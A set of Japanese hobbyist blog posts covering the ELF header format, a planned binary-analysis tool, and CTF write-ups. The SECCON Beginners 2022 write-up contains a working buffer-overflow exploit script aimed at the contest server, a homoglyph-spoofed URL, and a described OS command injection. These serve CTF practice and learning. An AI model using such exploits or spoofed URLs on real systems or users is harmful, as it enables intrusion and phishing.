【Rev・バイナリ解析関係】ELFパーサをつくろう:ELFフォーマット1/4

前書き

前の記事でも書いたように、現在、SagradaFamiliaプロジェクトと銘打ってオレオレ統合バイナリ解析プログラムを作成しています。
こういえば聞こえは良いけど、実際は自分がインプットしたものを何も考えずにアウトプットするためのプラットフォームです。
今日まで、プログラムを立ち上げたときの最初の画面とかをQtでごにょごにょしていたのですが、何とかパーサに取りかかることができそうになってきたので、自分の知識の確認の意味も込めてELFフォーマットについてまとめた記事を書いていきます。全部まとめて一気に書いてしまおうかと思いましたが、中だるみ防止と記事自体を最後まで読んでもらいたいという観点から小出しにして書いていきます。今のところ全4回の記事でELFフォーマットについてまとめていきます。

ELFフォーマット

ELFに限らず、ファイルにはそれ固有のフォーマットが設定されていて、フォーマットの各部分毎に固有の役割を持っています。
ELFのフォーマットの概略を以下に示してみます。

ELFフォーマットの概念
言うまでもありませんが、バイトの先頭からELFヘッダ、プログラムヘッダテーブル、セクション、セクションヘッダテーブルとなっています。

ELFヘッダ

ELFヘッダのサイズは、64bit及び32bitアーキテクチャでそれぞれ64Byteと52Byteとなっています。 ヘッダ内のフィールドは同じですがフィールドのサイズが異なります。
ELFヘッダには、後ろに続くプログラムヘッダテーブル、セクション及びセクションヘッダテーブルに関する情報や、対応するアーキテクチャの情報などが格納されています。他にも様々な情報が格納されていますが、今回は、特にバイナリ解析に役立ちそうな、以下のフィールドについて説明していきます。

  • e_ident配列
  • e_type
  • e_machine
  • e_entry
  • e_*hoff
  • e_*entsize
  • e_*hnum
  • e_shstrndx

これらの情報は、いちいちバイナリを読み解かずともreadelf -h (ファイル名)で確認することが出来ます。

e_ident配列

e_ident配列は16Byteの配列です。先頭の4Byteは0x7f 0x45 0x4c 0x46であり、ELF形式ファイル特有ののシグネチャとなっています。残る12Byteにはそれぞれ固有のフィールドが設定されていますが、その中で特にEI_CLASSバイトはアーキテクチャの識別に利用でき、32bitアーキテクチャの場合には1が値としてセットされ、64bitアーキテクチャの場合は、値として2がセットされます。また、EI_OSABIバイトは、コンパイル時に指定されたOSとABIに関する情報を保持しています。

e_type

e_typeフィールドはバイナリ自体の情報を保持します。そのバイナリが実行可能形式なのか、.soで表されるような共有オブジェクトファイルなのかはこのフィールドを調べることで判断できます。

e_machine

e_machineフィールドはバイナリが対応するアーキテクチャに関する情報を保持します。x86-64やARMとかのレベルでの識別に利用します。

e_entry

e_entryフィールドはプログラムのエントリポイントを明らかにしたいときに参照します。ところで、-pieオプションが有効になっている時は、ここのアドレスが0x400000番台から始まってなかったりする気がします。(未確認&要調査)

e_*hoff

ELF形式のファイルにはセクションヘッダテーブルとプログラムヘッダテーブルと呼ばれる領域が存在します。これらのオフセットを表すのがe_shoffフィールドとe_phoffです。セクションヘッダとプログラムヘッダは、また今度扱います。

e_*hentsize

色々な言葉の使い分けを見ていると、セクションヘッダテーブルとセクションヘッダは下の図のような関係になっていることが分かります。

セクションヘッダテーブルとセクションヘッダ
各テーブル内のヘッダのサイズに関する情報を保持するのがe_shentsize及びe_phentsizeです。

e_*hnum

各ヘッダテーブル内には複数個のヘッダが格納されています。その個数に関する情報を保持するのがe_shnum及びe_phnumです。ところで、プログラムヘッダテーブルのサイズはe_phnumとe_phentnumをかけた数になります

e_shstrndx

.shstrtabというセクションがあります。このセクションはプログラムのすべてのセクションの名前の情報を保持しています。e_shstrndxフィールドを参照することで、この.shstrtabがセクションヘッダテーブルの何番目に位置するのかが分かります。実際に、readelf -h (プログラム名)を実行したのちにreadelf -S (プログラム名)を実行することで確認することが出来ます。

今後

次はプログラムヘッダとセクションをとばしてセクションヘッダについての記事を書いていきます。休日もはさむので、一週間以内には出せるといいなぁ

【ぼくのかんがえたさいきょうのバイナリ解析環境】ぼくのかんがえたさいきょうのバイナリ解析環境

ことの起こり

最近、現職のリクルーターに騙された気配が濃厚な弊です。 5月あたりから時間が出来始めたので、2月に発売された迷路本をちょこちょこと読み進めています。

www.kadokawa.co.jp

読み進めていてふと思ったのが、「そういえば技術的なアウトプットを全くしていないのではないのでは...? 」ということ。遥か昔の記憶がよみがえる…
???「アウトプットしないのは知的な便秘」
…2年半越しにアウトプットをしていきます。

構想

その名の通りに、気の向くままに色々なものを何も考えず盛り込んでいきます。名前がないのはどうもアレなので何か名前を付けましょう。サグラダファミリアとでもしておきましょう。GUIアプリケーションにします。理由はそういえばGUIのアプリケーションを作ったことがないなぁと思ったからです。なんとなくC++で作っていきたいのでQtを使っていきます。機能としてはとりあえず以下のことを最低限出来るようにしようかと思います。

アセンブラに関してはハリボテ逆アセンブラなので、そのうちちゃんと実装していきたい...
パッカーもキャンプの講義のものを資料に従って実装しただけになってしまってるのでもう一度やり直していこうと思います。
これと並行していろいろインプットをしていこうかという感じです。なんか学習したら実装する機能をどんどん盛り込んでいきます。

今後

以下のリポジトリで開発していきます。毎日何かしら草を生やしていきます。

github.com

取りあえず今はQtを触りながらUIを実装しています。今はページ遷移時にウィンドウサイズを変更したいところでごにょごにょしてます。一体いつになったら抜け出せるのやら...
UIの体裁を整えることが優先目標ではないので、ある程度して解決できなかったら妥協して事後処理とします。その場合は、まずパーサを実装していく形になります。本当は期間とか決めた方がいいんだろうけど、進捗が個人的に遅いなぁと感じたらその時に考えることにします。

【write-up】SECCON Beginners CTF 2022

前書き

前回のブログ記事から1年半以上たってしまいました...
この間何をしていたのかというと、福岡県は久留米市で物理セキュリティエンジニアになるための訓練を10ヶ月間行い、そのあとは緑色のNTTの人としてしばらく勤務していました。久しぶりにCTFに参加することが出来たのでそのwrite-upと、色々あって技術不足を実感しているので、ブログを再開しつつ(一体いつまで続けられるのやら...)技術的なことを書いていこうと思います。

総評

ほぼほぼフルタイムで参加して171位でした。 広く浅く解いた感じで、参加前は「Rev全完するぞ!!」とか思ってたのに全く歯が立ちませんでした... 以下、解けた問題のwrite-upを載せていきます。

[Misk]phisher

近年話題の(?)ホモグラフ攻撃を行う問題。www.examplw.comのURLを偽装して問題サーバに投げ、OpenCVが元のURLと誤認してくれるとflagがもらえる。 以下のunicode文字で偽装したURLを投げたらwww.example.comと認識してくれてflagを得た。

ωωω․ėхаṁрļė․ċōṁ

flagctf4b{n16h7_ph15h1n6_15_600d}

[Misk]H2

バックエンドで動いてると思われるgoのコードとpcapファイルが渡される。 pcapファイルのパケットに対して、文字列ctf4bで検索したらあっさりとflagが見つかってしまった。 flagctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

[Web]Util

goのソースを見てみると、投げられたIPアドレスをそのまま実行しているためOSコマンドインジェクションが可能。 入力フォームへの入力はjsでフィルターがかけられていて有用なコマンドを入力できないため、Burp等でリクエストを書き換える。

一つ上の階層に怪しいファイルがあったのでcatコマンドを投げてみたらflagを得た。 flagctf4b{al1_0vers_4re_i1l}

[Rev]Quiz

何も考えずにstringsでflagを得た。 flagctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

[Rev]Recursive

IDAでコードを読んで言ったら入力された文字列とバイナリ内の文字列テーブルを1Byteづつ確認しているところがあったので、そこにブレークポイントをおいて実行した。 flagctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

[Pwn]BeginnersBof

文字列の長さを適当に設定してセグフォが起きる入力を探していたら長さ128に設定し、40文字以上の入力を与えたときにrbpが上書きされた。バイナリにセキュリティ機構は確認できなかったので、そのままrbpの先のリターンアドレスをwin関数のアドレスに書き換える。

import struct
import socket
import telnetlib

addr = 0x004011e6
length=b"128"
name = b"a"*40
name += struct.pack("<Q",addr)

count=0

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('beginnersbof.quals.beginners.seccon.jp',9000))

while True:
        a = s.recv(1024)
        print(a)
        if( a==b"\n" ):
                count+=1
                if( count==1 ):
                        print(length)
                        s.sendall(length)
                        s.sendall(b"\n")
                elif( count==2 ):
                        print(name)
                        s.sendall(name)
                        s.sendall(b"\n")
                        break
a = s.recv(1024)
print(a)

flagctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

[Crypto]CoughingFox

暗号化と逆順の操作をしていく。ルート取ったときに整数になってれば、その文字が何番目の文字だったのかが分かる。

import math

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

length=len(cipher)

vacant=[0]*length
for i in range(length):
        for j in range(length):
                num=math.sqrt(cipher[j]-i)-math.floor(math.sqrt(cipher[j]-i))
                if( num==0 ):
                        vacant[i] = chr( math.floor((math.sqrt(cipher[j]-i)))-i )

print(vacant)

flagctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

今後について

だいぶ久しぶりにCTFに参加して、だいぶ久しぶりにブログを書いてみると、この2年間ほど何もしてこなかったんだなぁと虚無の感情が発生してしまいます…
今は何とかパソコンを触れる環境にあるので、徐々に復帰していきたいと思います。
今後については、この前出た迷路本を読み進めながら、「これ実装してみよう」と思ったものを実装していく予定。今の調子で言ったらいつになっても迷路本が終わらない気がするのでうまいことインプットとアウトプットを並行して進めていきたい。
あと転職したい…

【JavaScript】非同期処理・promise・await/asyncあたりのまとめ【備忘録】

前書き

しばらくぶりにブログを更新します。研究がセキュリティの方向を向いていないので最近全くセキュリティが出来ていません...(セキュリティをしようとすると心の中のもう一人が「研究の進捗はどうですか?」とささやく...)。山梨のミニキャンあたりには行きたい...。あと、最近バイクを手に入れたのもあってさらに何もしていない...。まぁでも米粒程度には進捗が出ていると思うのでヨシとするか...。研究でJavaScriptを使うことになりそうなのですが、JavaScriptなんて使ったことがなかったので、調べたことを備忘録的に書いていきます。(Beginnersの解き直しもまだ終わってないが...)
分かりやすくまとめられているnoteの記事があったのでリンクを張らさせていただきます。

note.com

非同期処理

基本的にプログラムは上から下へ、命令を順番に実行していき、自分の前の命令の実行が完了してから自分が実行されるが、非同期処理では、自分の前にいる命令の実行が完了されていなくても自分が実行される。

Promise

非同期処理の実現のために利用されるコールバックでは、コールバックのネストが深くなりすぎて可読性が低下する(コールバック地獄)ためこれを解消するためにPromiseという仕様が登場した。
Promiseの利用方法としては、Promiseオブジェクトを作成し、返す。(return new Promise(function);
functionには処理したい内容を記述するが、処理に成功した場合にはfunction内のresolve();が実行され、そうでない場合にはreject();が実行される。

function a(){
    return new Promise( b(resolve,reject){
        if(c){
            resolve(d);
        }
        else{
            reject(err);
        }
    });
}

Promiseオブジェクトは処理に成功した場合にはその時の処理をコールバック関数として.then()メソッドに渡し、そうでない場合には、エラー処理を.catch()メソッドに渡す。
この.then()メソッドや.catch()メソッドを利用して非同期処理のより分かりやすい記述を実現する。

await/async

Promiseの導入でずいぶんと読みやすくなったものの、非同期処理が増えてくるとやはり読みにくくなる(らしい)。await/asyncの導入によって、非同期処理の記述が(コード上では)同期処理しているように扱うことが出来る。asyncではreturn new Promise(function);の最初と最後の部分をやっている(と認識している)。awaitは.then()メソッドと同じ役割を持っている(と認識している)。

【お品書き】5月の反省と6月のお品書き【6月】

先月の目標に対する反省

先月の目標は以下の様になっていました。自分用に簡単に反省を。
- 卒業研究の具体的なテーマ決め
- SECCON Beginners CTF 2020に出る(それまでにCpawCTF全完)
- 就活エントリを書く
卒論の具体的なテーマ決めについては、何となく思いつくテーマはあったのですが、そんな程度のものは大体先にやられているもので、「新規性…」ってなって結局決まりません出した…。研究室の教授にそんな話をしたら、先にやられていたとしても、大体その研究結果にも「あと少し…」って所はあるといわれ、今まで先行研究の存在を認識しただけで次のテーマを考え出してしまっていたので、しばらくは、先行研究の内容についてもう少し深く読んでいきたいと思います。具体的にテーマが決まるのは夏休み前くらいになりそうです。
SECCONは、当日に何だかんだで人生をしていたので参加出来ませんでした…。CpawCTFの方はなぜかLevel4が解放されずに全完と行きませんでした…。こればかりは修正(?)されるを待つしかないでござる…。BeginnersCTFの方は、解き直せそうな問題を回収してきたので、のんびりと解いてwrite-upを載せていくことで目標の完遂としようと思います。
就活エントリについては、こちらの方に載せられたので目標完遂ということにします。

今月の目標

  • SECCON Beginners CTF 2020に出る(継続)
  • シンボリック実行について理解する
  • Pwnをすこしづつやっていく
    SECCON問題の解き直しについては、6/1時点で11問中4問が解き終わっています。主にReversingとPwnに重きをおいて回収してきたので「Pwnをすこしづつやっていく」と合わせて解いていきたいと思います。
    SECCONのyakisoba問題ではangrを用いて問題の解決を行ったのですが、angrの理解のためにはシンボリック実行の理解が必要であると感じ、卒業論文の具体的なテーマ選定にも良い影響を及ぼす気がするので、しばらくはシンボリック実行について見ていきたいと思います。具体的にはこの論文を読んでまとめていき、改めてangrのドキュメントを読んでみたいと思います。
    今まで長らくReversingの方をやっていたのですが、元々Pwnをやりたかった人が「Reversingとか先にやってみると良いよ」と言われて始めたReversingだったので、Reversingは継続しつつ、もうそろそろPwnにちょっとづつ戻ろうと思います。策謀本の0x300とCTF pwn本を読みながら、SECCONのPwn問題を解いていくところから初めていこうと思います。

【write-up】SECCON BeginnersCTF【[Rev]ghost】

前書き

SECCON BeginnersCTFから既に一週間近くが経過してしまいましたが、未だに後追いをしています。やらなきゃいけないこと、やりたいこと等山積ですが、のんびりやっていきたいと思います。あと、個人的な感想ですが、この問題はReversingというよりかはMisk感の方があったかなぁと言う気がします。

write-up

よく分からないソースコードと出力ファイルが渡される。written by a ghost 👻とのことで、調べてみるとGhostscriptのようである。gsコマンドで実行できるので、実行し、ctf4b{と入力してみる。 f:id:yamanobori_programing:20200601181940p:plain
output.txtの先頭部分と一致する。以下、一致する文字をブルートフォースで探索するスクリプトを作成し実行する。

import subprocess

cmd='gs chall.gs'
flag='ctf4b{'
echo='echo'
strBase='_!$%&0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz}'
decLaw=[]

FILE=open('output.txt','rt')
dec=FILE.read()
FILE.close()

decLaw=dec.split(' ')

for i in range(len(decLaw)-7):
    for j in range(len(strBase)):
        flagTmp=flag+strBase[j]

        run1=subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
        run2=subprocess.Popen([echo,flagTmp],stdin=subprocess.PIPE,stdout=run1.stdin)
        output=run1.stdout.read().decode('utf-8')
        
        output=output.split('\n')
        tmp=output[4].split(' ')
        if( decLaw[:len(tmp)-1]==tmp[:-1] ):
            flag+=strBase[j]
            print(flag)
            break
        run1.kill()
        run2.kill()

subprocessを用いることで新にプロセスを生成したり、入力やその出力結果を取得することが出来る。詳しくはドキュメントを参照。このスクリプトを動かすとflagを得る。
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

【write-up】SECCON BeginnersCTF【[Misc]emoemocode】

前書き

Revが2問続いていたので、箸休めのMiscです。

write-up

渡されたファイルを開くと🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽って感じで絵文字。それぞれの絵文字がascii文字と対応しているんだろうと踏んで、適当にctf4b{deadbeef}と書かれたテキストファイルを作成してバイナリエディタで比較してみる。 f:id:yamanobori_programing:20200531170031p:plain
絵文字の下1バイトとctf4b{を眺めてみるとなんとなく対応しているように見える。Pythonord()unicodeを取得し、ctf4b{のそれぞれのasciiコードとの差分を取得し、デコードする。

emoji='🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽'
flag=''

for i in range(len(emoji)):
    flag+=chr(ord(emoji[i])-0x1f300)

print(flag)

ctf4b{stegan0graphy_by_em000000ji}